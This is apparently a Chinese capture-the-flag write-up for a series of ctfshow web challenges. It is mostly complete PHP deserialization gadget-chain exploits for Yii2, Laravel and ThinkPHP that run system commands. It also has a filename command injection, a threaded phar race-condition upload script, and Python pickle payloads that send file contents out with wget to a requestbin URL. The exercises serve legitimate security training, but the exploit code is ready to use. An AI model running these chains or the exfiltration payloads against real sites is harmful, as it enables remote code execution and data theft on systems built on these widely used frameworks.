开启靶机,是一个网站,试着搜索有没有重要信息。在这里发现是yii框架。

我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息。在源代码中发现了重要注释。

让我们传一个view-source参数。

出现了传参点,百度搜索yii反序列化漏洞,有相关的poc可以直接打。想知道构造思路可以看这篇文章: yii框架反序列化
相关poc为:
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
-
- public function __construct(){
- $this->checkAccess = 'shell_exec';
- $this->id = 'cp /fla* 1.txt';
- }
- }
- }
- namespace Faker{
- use yii\rest\CreateAction;
-
- class Generator{
- protected $formatters;
-
- public function __construct(){
- $this->formatters['close'] = [new CreateAction(), 'run'];
- }
- }
- }
-
- namespace yii\db{
- use Faker\Generator;
-
- class BatchQueryResult{
- private $_dataReader;
-
- public function __construct(){
- $this->_dataReader = new Generator;
- }
- }
- }
- namespace{
- echo base64_encode(serialize(new yii\db\BatchQueryResult));
- }
- ?>
因为执行查看命令是没有回显的,所以我们可以将执行结果cp到新的文件,再访问新的文件就可以了。那么本地生成payload直接打。注意参数。
打开题目一样的网站,287的加强版。前面找传参点都是一样的。试了一下上一题用的payload,发现不行了。打过补丁。还是在网上找exp来做。上exp吧。
- namespace yii\rest{
- class CreateAction{
- public $checkAccess;
- public $id;
-
- public function __construct(){
- $this->checkAccess = 'exec';
- $this->id = 'cp /fla* 1.txt';
- }
- }
- }
- namespace Faker{
- use yii\rest\CreateAction;
-
- class Generator{
- protected $formatters;
-
- public function __construct(){
- // 这里需要改为isRunning
- $this->formatters['isRunning'] = [new CreateAction(), 'run'];
- }
- }
- }
- namespace Codeception\Extension{
- use Faker\Generator;
- class RunProcess{
- private $processes;
- public function __construct()
- {
- $this->processes = [new Generator()];
- }
- }
- }
- namespace{
- echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
- }
- ?>
之后自己还得复现一下。
又是加强版,直接上poc吧。
-
- namespace yii\rest{
- class IndexAction{
- public $checkAccess;
- public $id;
- public function __construct(){
- $this->checkAccess = 'exec';
- $this->id = 'cp /fla* 1.txt';
- }
- }
- }
- namespace yii\db{
-
- use yii\web\DbSession;
-
- class BatchQueryResult
- {
- private $_dataReader;
- public function __construct(){
- $this->_dataReader=new DbSession();
- }
- }
- }
- namespace yii\web{
-
- use yii\rest\IndexAction;
-
- class DbSession
- {
- public $writeCallback;
- public function __construct(){
- $a=new IndexAction();
- $this->writeCallback=[$a,'run'];
- }
- }
- }
- namespace{
-
- use yii\db\BatchQueryResult;
-
- echo base64_encode(serialize(new BatchQueryResult()));
- }
来自于bfengj的链子,相关文章写的很好:yii2框架 反序列化漏洞复现_bfengj的博客-CSDN博客_yii框架漏洞
上一题师傅的链子依然能用,666
打开题目给了代码。而且题目是给了传参点。

考察laravel框架的反序列化。laravel源码 后期有时间复现一下。想知道链子构造建议看bfengj师傅的文章,写的太好了。laravel反序列化 直接放exp了。
- namespace Illuminate\Foundation\Testing{
- use Illuminate\Auth\GenericUser;
- use Illuminate\Foundation\Application;
- class PendingCommand
- {
- protected $command;
- protected $parameters;
- public $test;
- protected $app;
- public function __construct(){
- $this->command="system";
- $this->parameters[]="cat /flag";
- $this->test=new GenericUser();
- $this->app=new Application();
- }
- }
- }
- namespace Illuminate\Foundation{
- class Application{
- protected $bindings = [];
- public function __construct(){
- $this->bindings=array(
- 'Illuminate\Contracts\Console\Kernel'=>array(
- 'concrete'=>'Illuminate\Foundation\Application'
- )
- );
- }
- }
- }
- namespace Illuminate\Auth{
- class GenericUser
- {
- protected $attributes;
- public function __construct(){
- $this->attributes['expectedOutput']=['hello','world'];
- $this->attributes['expectedQuestions']=['hello','world'];
- }
- }
- }
- namespace{
-
- use Illuminate\Foundation\Testing\PendingCommand;
-
- echo urlencode(serialize(new PendingCommand()));
- }
-
记得抓包打payload。flag不会回显到页面上。
还是看文章:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞复现
poc为:
- namespace Illuminate\Broadcasting{
- use Illuminate\Bus\Dispatcher;
- use Illuminate\Foundation\Console\QueuedCommand;
- class PendingBroadcast
- {
- protected $events;
- protected $event;
- public function __construct(){
- $this->events=new Dispatcher();
- $this->event=new QueuedCommand();
- }
- }
- }
- namespace Illuminate\Foundation\Console{
- class QueuedCommand
- {
- public $connection="cat /flag";
- }
- }
- namespace Illuminate\Bus{
- class Dispatcher
- {
- protected $queueResolver="system";
-
- }
- }
- namespace{
-
- use Illuminate\Broadcasting\PendingBroadcast;
-
- echo urlencode(serialize(new PendingBroadcast()));
- }
-
上一个链子仍然能用。嘿嘿。
终于有个我复现过的框架了。找到传参点。

相关链子的构造可以看我这篇文章:thinkphp5.1.37反序列化链子分析_XiLitter的博客-CSDN博客
直接放poc:
- namespace think;
-
- abstract class Model{
- protected $append = [];
- private $data = [];
- public function __construct()
- {
- $this->append = ["li"=>[]];
- $this->data = ["li"=>new Request()];
- }
- }
- namespace think\process\pipes;
- use think\model\Pivot;
- class Windows{
- private $files = [];
- public function __construct()
- {
- $this->files = [new Pivot()];
- }
- }
- namespace think\model;
- use think\model;
- class Pivot extends Model{
-
- }
- namespace think;
- class Request{
- protected $hook = [];
- protected $filter;
- protected $config;
- protected $param = [];
- public function __construct()
- {
- $this->hook = ["visible"=>[$this,"isAjax"]];
- $this->filter = 'system';
- $this->config = ["var_ajax"=>''];//对这个键名附上值
- $this->param = ['cat /flag'];
- }
- }
- use think\process\pipes\Windows;
- echo base64_encode(serialize(new Windows()));
- ?>
打开题目给出了源码。
- highlight_file(__FILE__);
- class filter{
- public $filename;
- public $filecontent;
- public $evilfile=false;
- public function __construct($f,$fn){
- $this->filename=$f;
- $this->filecontent=$fn;
- }
- public function checkevil(){
- if(preg_match('/php|\.\./i', $this->filename)){
- $this->evilfile=true;
- }
- if(preg_match('/flag/i', $this->filecontent)){
- $this->evilfile=true;
- }
- return $this->evilfile;
- }
- public function __destruct(){
- if($this->evilfile){
- system('rm '.$this->filename);
- }
- }
- }
- if(isset($_GET['fn'])){
- $content = file_get_contents('php://input');
- $f = new filter($_GET['fn'],$content);
- if($f->checkevil()===false){
- file_put_contents($_GET['fn'], $content);
- copy($_GET['fn'],md5(mt_rand()).'.txt');
- unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
- echo 'work done';
- }
- }else{
- echo 'where is flag?';
- }
这代码大致看就是个写入文件的操作,分别对文件名和文件内容进行了过滤,文件名不能出现php,文件内容不能出现flag。不然会删除这个文件。文件后缀不能有php,那怎么进行命令执行呢?我们仔细看这个system('rm '.$this->filename);,是不是可以构造filename来执行命令了。前面的rm用分号闭合掉就行了。那么我们构造payload。
?fn=;cat%20flag.php;
不知道为什么,执行ls命令没有回显,那就直接读取flag吧。

应该是web275的加强版。在进入system函数之前增加了admin的限制。

admin初始化为false,那只能通过反序列化来修改属性了。那我们就需要本地生成phar文件。应该是要条件竞争了,但是我又不会写脚本,白嫖吧。脚本如下:
- import requests
- import hashlib
- import threading #提供多线程
- url="http://d3f4254c-47cc-4c23-8498-5b02fe290e2d.challenge.ctf.show/"
- f=open("tter.phar","rb") #打开文件
- content=f.read()
- def upload():
- r=requests.post(url=url+"?fn=1.phar",data=content) #上传phar文件
-
- def read():
- r=requests.post(url=url+"?fn=phar://1.phar/",data="1") #phar协议读取
- if "ctfshow{" in r.text or "flag{" in r.text:
- print(r.text)
- exit()
- while 1:
- t1=threading.Thread(target=upload)
- t2=threading.Thread(target=read)
- t1.start()
- t2.start() #开启线程
成功 跑出flag。

打开题目在注释中找到传参点。

那么我们就用__reduce__魔术方法来执行命令。相关文章:一篇文章带你理解漏洞之 Python 反序列化漏洞 | K0rz3n's Blog
构造exp:
- import os
- import pickle
- import base64
-
- class abc(object):
- def __reduce__(self):
- return os.system, ('wget https://requestbin.io/1j6eke01?c=`cat fla*`',)
-
- print(base64.b64encode(pickle.dumps(abc())))
因为执行命令是没有回显的,所以看了Y4师傅的wp将数据外带出来。一开始是用dnslog外带数据,但是一些问题没处理好就没带出来,这是用requestbin网站也可以将数据给带出来,

这个方式成功了之后就继续尝试了一下dnslog,发现意外成功了,真玄学。

当然有vps也可以反弹shell。
题目中说了过滤了os.system函数,那么我们可以用eval函数导入os。也可以用os.popen。
- import os
- import pickle
- import base64
-
- class abc(object):
- def __reduce__(self):
- return os.popen, ('wget https://requestbin.io/10mjkqp1?a=`cat fla*`',)
-
- print(base64.b64encode(pickle.dumps(abc())))
这里我知道上一题出现的错误了,用python2跑的序列化串会报错,那么应该是python3环境。成功外带出数据。

这两个python反序列化题目相对来说比较简单。